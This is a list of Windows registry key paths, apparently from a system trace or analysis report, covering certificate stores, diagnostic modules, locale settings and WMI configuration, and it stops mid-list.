HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\SystemCertificates\CA\Certificates\FEE449EE0E3965A5246F000E87FDE2A065FD89D4\Blob HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\SystemCertificates\CA\CRLs HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\SystemCertificates\CA\CRLs\A377D1B1C0538833035211F4083D00FECC414DAB HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\SystemCertificates\CA\CRLs\A377D1B1C0538833035211F4083D00FECC414DAB\Blob HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\SystemCertificates\CA\CTLs HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\SystemCertificates\CA HKEY_LOCAL_MACHINE\SOFTWARE\Policies\Microsoft\SystemCertificates\CA\Certificates HKEY_LOCAL_MACHINE\SOFTWARE\Policies\Microsoft\SystemCertificates\CA\CRLs HKEY_LOCAL_MACHINE\SOFTWARE\Policies\Microsoft\SystemCertificates\CA\CTLs HKEY_LOCAL_MACHINE\Software\Microsoft\EnterpriseCertificates\CA\PhysicalStores HKEY_LOCAL_MACHINE\Software\Microsoft\EnterpriseCertificates\CA HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\EnterpriseCertificates\CA\ HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\EnterpriseCertificates\CA\Certificates HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\EnterpriseCertificates\CA\CRLs HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\EnterpriseCertificates\CA\CTLs HKEY_USERS\.DEFAULT\Software\Microsoft\SystemCertificates\Disallowed\PhysicalStores HKEY_USERS\.DEFAULT\Software\Microsoft\SystemCertificates\Disallowed HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\SystemCertificates\TrustedPublisher\Safer HKEY_USERS\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\TrustedPublisher\Safer HKEY_LOCAL_MACHINE\Software\Microsoft\SystemCertificates\TrustedPublisher\Safer HKEY_USERS\.DEFAULT\SOFTWARE\Microsoft\SystemCertificates\Disallowed\ HKEY_USERS\.DEFAULT\SOFTWARE\Microsoft\SystemCertificates\Disallowed\Certificates HKEY_USERS\.DEFAULT\SOFTWARE\Microsoft\SystemCertificates\Disallowed\CRLs HKEY_USERS\.DEFAULT\SOFTWARE\Microsoft\SystemCertificates\Disallowed\CTLs HKEY_USERS\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\Disallowed HKEY_USERS\.DEFAULT\SOFTWARE\Policies\Microsoft\SystemCertificates\Disallowed\Certificates HKEY_USERS\.DEFAULT\SOFTWARE\Policies\Microsoft\SystemCertificates\Disallowed\CRLs HKEY_USERS\.DEFAULT\SOFTWARE\Policies\Microsoft\SystemCertificates\Disallowed\CTLs HKEY_LOCAL_MACHINE\Software\Microsoft\SystemCertificates\Disallowed\PhysicalStores HKEY_LOCAL_MACHINE\Software\Microsoft\SystemCertificates\Disallowed HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\SystemCertificates\Disallowed\ HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\SystemCertificates\Disallowed\Certificates HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\SystemCertificates\Disallowed\Certificates\637162CC59A3A1E25956FA5FA8F60D2E1C52EAC6 HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\SystemCertificates\Disallowed\Certificates\637162CC59A3A1E25956FA5FA8F60D2E1C52EAC6\Blob HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\SystemCertificates\Disallowed\Certificates\7D7F4414CCEF168ADF6BF40753B5BECD78375931 HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\SystemCertificates\Disallowed\Certificates\7D7F4414CCEF168ADF6BF40753B5BECD78375931\Blob HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\SystemCertificates\Disallowed\CRLs HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\SystemCertificates\Disallowed\CTLs HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\SystemCertificates\Disallowed HKEY_LOCAL_MACHINE\SOFTWARE\Policies\Microsoft\SystemCertificates\Disallowed\Certificates HKEY_LOCAL_MACHINE\SOFTWARE\Policies\Microsoft\SystemCertificates\Disallowed\CRLs HKEY_LOCAL_MACHINE\SOFTWARE\Policies\Microsoft\SystemCertificates\Disallowed\CTLs HKEY_LOCAL_MACHINE\Software\Microsoft\EnterpriseCertificates\Disallowed\PhysicalStores HKEY_LOCAL_MACHINE\Software\Microsoft\EnterpriseCertificates\Disallowed HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\EnterpriseCertificates\Disallowed\ HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\EnterpriseCertificates\Disallowed\Certificates HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\EnterpriseCertificates\Disallowed\CRLs HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\EnterpriseCertificates\Disallowed\CTLs HKEY_USERS\.DEFAULT\Software\Microsoft\SystemCertificates\Root\PhysicalStores HKEY_USERS\.DEFAULT\Software\Microsoft\SystemCertificates\Root HKEY_USERS\.DEFAULT\Software\Microsoft\SystemCertificates\Root\ProtectedRoots HKEY_USERS\.DEFAULT\SOFTWARE\Microsoft\SystemCertificates\Root\ HKEY_USERS\.DEFAULT\SOFTWARE\Microsoft\SystemCertificates\Root\Certificates HKEY_USERS\.DEFAULT\SOFTWARE\Microsoft\SystemCertificates\Root\CRLs HKEY_USERS\.DEFAULT\SOFTWARE\Microsoft\SystemCertificates\Root\CTLs HKEY_USERS\.DEFAULT\SOFTWARE\Microsoft\SystemCertificates\Root\ProtectedRoots\Certificates HKEY_LOCAL_MACHINE\Software\Microsoft\SystemCertificates\Root\PhysicalStores HKEY_LOCAL_MACHINE\Software\Microsoft\SystemCertificates\Root HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\SystemCertificates\ROOT\ HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\SystemCertificates\ROOT\Certificates HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\SystemCertificates\ROOT\Certificates\18F7C1FCC3090203FD5BAA2F861A754976C8DD25 HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\SystemCertificates\ROOT\Certificates\18F7C1FCC3090203FD5BAA2F861A754976C8DD25\Blob HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\SystemCertificates\ROOT\Certificates\245C97DF7514E7CF2DF8BE72AE957B9E04741E85 HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\SystemCertificates\ROOT\Certificates\245C97DF7514E7CF2DF8BE72AE957B9E04741E85\Blob HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\SystemCertificates\ROOT\Certificates\7F88CD7223F3C813818C994614A89C99FA3B5247 HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\SystemCertificates\ROOT\Certificates\7F88CD7223F3C813818C994614A89C99FA3B5247\Blob HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\SystemCertificates\ROOT\Certificates\A43489159A520F0D93D032CCAF37E7FE20A8B419 HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\SystemCertificates\ROOT\Certificates\A43489159A520F0D93D032CCAF37E7FE20A8B419\Blob HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\SystemCertificates\ROOT\Certificates\BE36A4562FB2EE05DBB3D32323ADF445084ED656 HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\SystemCertificates\ROOT\Certificates\BE36A4562FB2EE05DBB3D32323ADF445084ED656\Blob HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\SystemCertificates\ROOT\Certificates\CDD4EEAE6000AC7F40C3802C171E30148030C072 HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\SystemCertificates\ROOT\Certificates\CDD4EEAE6000AC7F40C3802C171E30148030C072\Blob HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\SystemCertificates\ROOT\CRLs HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\SystemCertificates\ROOT\CTLs HKEY_LOCAL_MACHINE\Software\Microsoft\SystemCertificates\AuthRoot HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\SystemCertificates\AuthRoot\ HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\SystemCertificates\AuthRoot\Certificates HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\SystemCertificates\AuthRoot\Certificates\2796BAE63F1801E277261BA0D77770028F20EEE4 HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\SystemCertificates\AuthRoot\Certificates\2796BAE63F1801E277261BA0D77770028F20EEE4\Blob HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\SystemCertificates\AuthRoot\Certificates\4EB6D578499B1CCF5F581EAD56BE3D9B6744A5E5 HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\SystemCertificates\AuthRoot\Certificates\4EB6D578499B1CCF5F581EAD56BE3D9B6744A5E5\Blob HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\SystemCertificates\AuthRoot\Certificates\4F65566336DB6598581D584A596C87934D5F2AB4 HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\SystemCertificates\AuthRoot\Certificates\4F65566336DB6598581D584A596C87934D5F2AB4\Blob HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\SystemCertificates\AuthRoot\Certificates\5FB7EE0633E259DBAD0C4C9AE6D38F1A61C7DC25 HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\SystemCertificates\AuthRoot\Certificates\5FB7EE0633E259DBAD0C4C9AE6D38F1A61C7DC25\Blob HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\SystemCertificates\AuthRoot\Certificates\627F8D7827656399D27D7F9044C9FEB3F33EFA9A HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\SystemCertificates\AuthRoot\Certificates\627F8D7827656399D27D7F9044C9FEB3F33EFA9A\Blob HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\SystemCertificates\AuthRoot\Certificates\742C3192E607E424EB4549542BE1BBC53E6174E2 HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\SystemCertificates\AuthRoot\Certificates\742C3192E607E424EB4549542BE1BBC53E6174E2\Blob HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\SystemCertificates\AuthRoot\Certificates\85371CA6E550143DCE2803471BDE3A09E8F8770F HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\SystemCertificates\AuthRoot\Certificates\85371CA6E550143DCE2803471BDE3A09E8F8770F\Blob HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\SystemCertificates\AuthRoot\Certificates\91C6D6EE3E8AC86384E548C299295C756C817B81 HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\SystemCertificates\AuthRoot\Certificates\91C6D6EE3E8AC86384E548C299295C756C817B81\Blob HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\SystemCertificates\AuthRoot\Certificates\97817950D81C9670CC34D809CF794431367EF474 HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\SystemCertificates\AuthRoot\Certificates\97817950D81C9670CC34D809CF794431367EF474\Blob HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\SystemCertificates\AuthRoot\Certificates\97E2E99636A547554F838FBA38B82E74F89A830A HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\SystemCertificates\AuthRoot\Certificates\97E2E99636A547554F838FBA38B82E74F89A830A\Blob HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\SystemCertificates\AuthRoot\Certificates\A8985D3A65E5E5C4B2D7D66D40C6DD2FB19C5436 HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\SystemCertificates\AuthRoot\Certificates\A8985D3A65E5E5C4B2D7D66D40C6DD2FB19C5436\Blob HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\SystemCertificates\AuthRoot\Certificates\D23209AD23D314232174E40D7F9D62139786633A HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\SystemCertificates\AuthRoot\Certificates\D23209AD23D314232174E40D7F9D62139786633A\Blob HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\SystemCertificates\AuthRoot\Certificates\D4DE20D05E66FC53FE1A50882C78DB2852CAE474 HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\SystemCertificates\AuthRoot\Certificates\D4DE20D05E66FC53FE1A50882C78DB2852CAE474\Blob HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\SystemCertificates\AuthRoot\Certificates\DE28F4A4FFE5B92FA3C503D1A349A7F9962A8212 HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\SystemCertificates\AuthRoot\Certificates\DE28F4A4FFE5B92FA3C503D1A349A7F9962A8212\Blob HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\SystemCertificates\AuthRoot\CRLs HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\SystemCertificates\AuthRoot\CTLs HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\SystemCertificates\Root HKEY_LOCAL_MACHINE\SOFTWARE\Policies\Microsoft\SystemCertificates\Root\Certificates HKEY_LOCAL_MACHINE\SOFTWARE\Policies\Microsoft\SystemCertificates\Root\CRLs HKEY_LOCAL_MACHINE\SOFTWARE\Policies\Microsoft\SystemCertificates\Root\CTLs HKEY_LOCAL_MACHINE\Software\Microsoft\EnterpriseCertificates\Root\PhysicalStores HKEY_LOCAL_MACHINE\Software\Microsoft\EnterpriseCertificates\Root HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\EnterpriseCertificates\Root\ HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\EnterpriseCertificates\Root\Certificates HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\EnterpriseCertificates\Root\CRLs HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\EnterpriseCertificates\Root\CTLs HKEY_LOCAL_MACHINE\Software\Microsoft\SystemCertificates\SmartCardRoot HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\SystemCertificates\SmartCardRoot\ HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\SystemCertificates\SmartCardRoot\Certificates HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\SystemCertificates\SmartCardRoot\CRLs HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\SystemCertificates\SmartCardRoot\CTLs HKEY_USERS\.DEFAULT\Software\Microsoft\SystemCertificates\SmartCardRoot HKEY_USERS\.DEFAULT\SOFTWARE\Microsoft\SystemCertificates\SmartCardRoot\ HKEY_USERS\.DEFAULT\SOFTWARE\Microsoft\SystemCertificates\SmartCardRoot\Certificates HKEY_USERS\.DEFAULT\SOFTWARE\Microsoft\SystemCertificates\SmartCardRoot\CRLs HKEY_USERS\.DEFAULT\SOFTWARE\Microsoft\SystemCertificates\SmartCardRoot\CTLs HKEY_USERS\.DEFAULT\Software\Microsoft\SystemCertificates\TrustedPeople\PhysicalStores HKEY_USERS\.DEFAULT\Software\Microsoft\SystemCertificates\TrustedPeople HKEY_USERS\.DEFAULT\SOFTWARE\Microsoft\SystemCertificates\TrustedPeople\ HKEY_USERS\.DEFAULT\SOFTWARE\Microsoft\SystemCertificates\TrustedPeople\Certificates HKEY_USERS\.DEFAULT\SOFTWARE\Microsoft\SystemCertificates\TrustedPeople\CRLs HKEY_USERS\.DEFAULT\SOFTWARE\Microsoft\SystemCertificates\TrustedPeople\CTLs HKEY_USERS\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\TrustedPeople HKEY_USERS\.DEFAULT\SOFTWARE\Policies\Microsoft\SystemCertificates\TrustedPeople\Certificates HKEY_USERS\.DEFAULT\SOFTWARE\Policies\Microsoft\SystemCertificates\TrustedPeople\CRLs HKEY_USERS\.DEFAULT\SOFTWARE\Policies\Microsoft\SystemCertificates\TrustedPeople\CTLs HKEY_LOCAL_MACHINE\Software\Microsoft\SystemCertificates\TrustedPeople\PhysicalStores HKEY_LOCAL_MACHINE\Software\Microsoft\SystemCertificates\TrustedPeople HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\SystemCertificates\TrustedPeople\ HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\SystemCertificates\TrustedPeople\Certificates HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\SystemCertificates\TrustedPeople\CRLs HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\SystemCertificates\TrustedPeople\CTLs HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\SystemCertificates\TrustedPeople HKEY_LOCAL_MACHINE\SOFTWARE\Policies\Microsoft\SystemCertificates\TrustedPeople\Certificates HKEY_LOCAL_MACHINE\SOFTWARE\Policies\Microsoft\SystemCertificates\TrustedPeople\CRLs HKEY_LOCAL_MACHINE\SOFTWARE\Policies\Microsoft\SystemCertificates\TrustedPeople\CTLs HKEY_LOCAL_MACHINE\Software\Microsoft\EnterpriseCertificates\TrustedPeople\PhysicalStores HKEY_LOCAL_MACHINE\Software\Microsoft\EnterpriseCertificates\TrustedPeople HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\EnterpriseCertificates\TrustedPeople\ HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\EnterpriseCertificates\TrustedPeople\Certificates HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\EnterpriseCertificates\TrustedPeople\CRLs HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\EnterpriseCertificates\TrustedPeople\CTLs HKEY_USERS\.DEFAULT\Software\Microsoft\SystemCertificates\trust\PhysicalStores HKEY_USERS\.DEFAULT\Software\Microsoft\SystemCertificates\trust HKEY_USERS\.DEFAULT\SOFTWARE\Microsoft\SystemCertificates\trust\ HKEY_USERS\.DEFAULT\SOFTWARE\Microsoft\SystemCertificates\trust\Certificates HKEY_USERS\.DEFAULT\SOFTWARE\Microsoft\SystemCertificates\trust\CRLs HKEY_USERS\.DEFAULT\SOFTWARE\Microsoft\SystemCertificates\trust\CTLs HKEY_USERS\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\trust HKEY_USERS\.DEFAULT\SOFTWARE\Policies\Microsoft\SystemCertificates\trust\Certificates HKEY_USERS\.DEFAULT\SOFTWARE\Policies\Microsoft\SystemCertificates\trust\CRLs HKEY_USERS\.DEFAULT\SOFTWARE\Policies\Microsoft\SystemCertificates\trust\CTLs HKEY_LOCAL_MACHINE\Software\Microsoft\SystemCertificates\trust\PhysicalStores HKEY_LOCAL_MACHINE\Software\Microsoft\SystemCertificates\trust HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\SystemCertificates\trust\ HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\SystemCertificates\trust\Certificates HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\SystemCertificates\trust\CRLs HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\SystemCertificates\trust\CTLs HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\SystemCertificates\trust HKEY_LOCAL_MACHINE\SOFTWARE\Policies\Microsoft\SystemCertificates\trust\Certificates HKEY_LOCAL_MACHINE\SOFTWARE\Policies\Microsoft\SystemCertificates\trust\CRLs HKEY_LOCAL_MACHINE\SOFTWARE\Policies\Microsoft\SystemCertificates\trust\CTLs HKEY_LOCAL_MACHINE\Software\Microsoft\EnterpriseCertificates\trust\PhysicalStores HKEY_LOCAL_MACHINE\Software\Microsoft\EnterpriseCertificates\trust HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\EnterpriseCertificates\Trust\ HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\EnterpriseCertificates\Trust\Certificates HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\EnterpriseCertificates\Trust\CRLs HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\EnterpriseCertificates\Trust\CTLs HKEY_LOCAL_MACHINE\Software\Microsoft\Windows NT\CurrentVersion\Diagnostics HKEY_LOCAL_MACHINE\Software\Microsoft\Windows NT\CurrentVersion\Winlogon HKEY_LOCAL_MACHINE\SOFTWARE\Wow6432Node\Microsoft\Windows NT\CurrentVersion\Winlogon\UserenvDebugLevel HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows\System HKEY_LOCAL_MACHINE\SOFTWARE\Policies\Microsoft\Windows\System\GpSvcDebugLevel HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\SystemCertificates HKEY_USERS\.DEFAULT\Software\Policies\Microsoft\SystemCertificates HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\SystemCertificates\AuthRoot HKEY_LOCAL_MACHINE\Software\Microsoft\SystemCertificates\AuthRoot\AutoUpdate HKEY_LOCAL_MACHINE\Software\Microsoft\windows\CurrentVersion\Internet Settings\Connections HKEY_LOCAL_MACHINE\SOFTWARE\Wow6432Node\Microsoft\Windows\CurrentVersion\Internet Settings\Connections\WinHttpSettings HKEY_LOCAL_MACHINE\Software\Microsoft\Ole HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\OLE\MaximumAllowedAllocationSize HKEY_LOCAL_MACHINE\System\CurrentControlSet\Control\Class\{4d36e972-e325-11ce-bfc1-08002be10318} HKEY_CURRENT_USER\Software\Microsoft\windows\CurrentVersion\Internet Settings\Wpad HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Cryptography\OID\EncodingType 0\CertDllCreateCertificateChainEngine\Config\EnableInetUnknownAuth HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\Windows Error Reporting\Escalation HKEY_LOCAL_MACHINE\Software\Microsoft\SQMClient\Windows\WMR HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\SQMClient\Windows\DisabledProcesses\F8B50CC5 HKEY_LOCAL_MACHINE\SOFTWARE\Wow6432Node\Microsoft\Cryptography\OID\EncodingType 0\CertDllVerifyCertificateChainPolicy HKEY_LOCAL_MACHINE\SOFTWARE\Wow6432Node\Microsoft\Cryptography\OID\EncodingType 1\CertDllVerifyCertificateChainPolicy HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\WBEM\CIMOM\Sink Transmit Buffer Size HKEY_LOCAL_MACHINE\Software\Microsoft\Wbem\Cimom HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\WBEM\CIMOM\DefaultRpcStackSize HKEY_LOCAL_MACHINE\SOFTWARE\Classes\AppID\wmiprvse.exe HKEY_LOCAL_MACHINE\SOFTWARE\Classes\CLSID\{1F87137D-0E7C-44D5-8C73-4EFFB68962F2}\InprocServer32 HKEY_LOCAL_MACHINE\SOFTWARE\Classes\CLSID\{1F87137D-0E7C-44D5-8C73-4EFFB68962F2}\InprocHandler32 HKEY_LOCAL_MACHINE\SOFTWARE\Classes\CLSID\{1F87137D-0E7C-44D5-8C73-4EFFB68962F2}\InprocHandler HKEY_CURRENT_USER\Control Panel\International\LocaleName HKEY_CURRENT_USER\Control Panel\International\sCountry HKEY_CURRENT_USER\Control Panel\International\sList HKEY_CURRENT_USER\Control Panel\International\sDecimal HKEY_CURRENT_USER\Control Panel\International\sThousand HKEY_CURRENT_USER\Control Panel\International\sGrouping HKEY_CURRENT_USER\Control Panel\International\sNativeDigits HKEY_CURRENT_USER\Control Panel\International\sCurrency HKEY_CURRENT_USER\Control Panel\International\sMonDecimalSep HKEY_CURRENT_USER\Control Panel\International\sMonThousandSep HKEY_CURRENT_USER\Control Panel\International\sMonGrouping HKEY_CURRENT_USER\Control Panel\International\sPositiveSign HKEY_CURRENT_USER\Control Panel\International\sNegativeSign HKEY_CURRENT_USER\Control Panel\International\sTimeFormat HKEY_CURRENT_USER\Control Panel\International\sShortTime HKEY_CURRENT_USER\Control Panel\International\s1159 HKEY_CURRENT_USER\Control Panel\International\s2359 HKEY_CURRENT_USER\Control Panel\International\sShortDate HKEY_CURRENT_USER\Control Panel\International\sLongDate HKEY_CURRENT_USER\Control Panel\International\iCountry HKEY_CURRENT_USER\Control Panel\International\iMeasure HKEY_CURRENT_USER\Control Panel\International\iPaperSize HKEY_CURRENT_USER\Control Panel\International\iDigits HKEY_CURRENT_USER\Control Panel\International\iLZero HKEY_CURRENT_USER\Control Panel\International\iNegNumber HKEY_CURRENT_USER\Control Panel\International\NumShape HKEY_CURRENT_USER\Control Panel\International\iCurrDigits HKEY_CURRENT_USER\Control Panel\International\iCurrency HKEY_CURRENT_USER\Control Panel\International\iNegCurr HKEY_CURRENT_USER\Control Panel\International\iCalendarType HKEY_CURRENT_USER\Control Panel\International\iFirstDayOfWeek HKEY_CURRENT_USER\Control Panel\International\iFirstWeekOfYear HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\WBEM\CIMOM\Logging HKEY_CURRENT_USER\Software\Classes\AppID\taskhost.exe HKEY_LOCAL_MACHINE\System\CurrentControlSet\Control\WDI\DiagnosticModules HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\Control\WDI\DiagnosticModules\{15fba3b8-a37a-4f91-bdba-fbb98fe804bf} HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\Control\WDI\DiagnosticModules\{15fba3b8-a37a-4f91-bdba-fbb98fe804bf}\ImagePath HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\Control\WDI\DiagnosticModules\{15fba3b8-a37a-4f91-bdba-fbb98fe804bf}\NeverLowerPagePriority HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\Control\WDI\DiagnosticModules\{15fba3b8-a37a-4f91-bdba-fbb98fe804bf}\NameResource HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\Control\WDI\DiagnosticModules\{282396b2-6c46-4d66-b413-70b0445df33c} HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\Control\WDI\DiagnosticModules\{282396b2-6c46-4d66-b413-70b0445df33c}\ImagePath HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\Control\WDI\DiagnosticModules\{282396b2-6c46-4d66-b413-70b0445df33c}\NeverLowerPagePriority HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\Control\WDI\DiagnosticModules\{282396b2-6c46-4d66-b413-70b0445df33c}\NameResource HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\Control\WDI\DiagnosticModules\{284ddb2f-beea-4c9d-91e8-e3670ed91517} HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\Control\WDI\DiagnosticModules\{284ddb2f-beea-4c9d-91e8-e3670ed91517}\ImagePath HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\Control\WDI\DiagnosticModules\{284ddb2f-beea-4c9d-91e8-e3670ed91517}\NeverLowerPagePriority HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\Control\WDI\DiagnosticModules\{284ddb2f-beea-4c9d-91e8-e3670ed91517}\NameResource HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\Control\WDI\DiagnosticModules\{3EA6B3DF-393E-41C3-9885-29EC5A701926} HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\Control\WDI\DiagnosticModules\{3EA6B3DF-393E-41C3-9885-29EC5A701926}\ImagePath HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\Control\WDI\DiagnosticModules\{3EA6B3DF-393E-41C3-9885-29EC5A701926}\NeverLowerPagePriority HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\Control\WDI\DiagnosticModules\{3EA6B3DF-393E-41C3-9885-29EC5A701926}\NameResource HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\Control\WDI\DiagnosticModules\{45DE1EA9-10BC-4f96-9B21-4B6B83DBF476} HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\Control\WDI\DiagnosticModules\{45DE1EA9-10BC-4f96-9B21-4B6B83DBF476}\ImagePath HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\Control\WDI\DiagnosticModules\{45DE1EA9-10BC-4f96-9B21-4B6B83DBF476}\NeverLowerPagePriority HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\Control\WDI\DiagnosticModules\{45DE1EA9-10BC-4f96-9B21-4B6B83DBF476}\NameResource HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\Control\WDI\DiagnosticModules\{4d21da64-fd02-4b82-a0a5-783266e430ab} HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\Control\WDI\DiagnosticModules\{4d21da64-fd02-4b82-a0a5-783266e430ab}\ImagePath HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\Control\WDI\DiagnosticModules\{4d21da64-fd02-4b82-a0a5-783266e430ab}\NeverLowerPagePriority HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\Control\WDI\DiagnosticModules\{4d21da64-fd02-4b82-a0a5-783266e430ab}\NameResource HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\Control\WDI\DiagnosticModules\{50e3b0eb-5780-49de-9eb5-8d53a51fd146} HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\Control\WDI\DiagnosticModules\{50e3b0eb-5780-49de-9eb5-8d53a51fd146}\ImagePath HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\Control\WDI\DiagnosticModules\{50e3b0eb-5780-49de-9eb5-8d53a51fd146}\NeverLowerPagePriority HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\Control\WDI\DiagnosticModules\{50e3b0eb-5780-49de-9eb5-8d53a51fd146}\NameResource HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\Control\WDI\DiagnosticModules\{5C85A128-86F7-41a4-B655-BEE3F2ADEF46} HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\Control\WDI\DiagnosticModules\{5C85A128-86F7-41a4-B655-BEE3F2ADEF46}\ImagePath 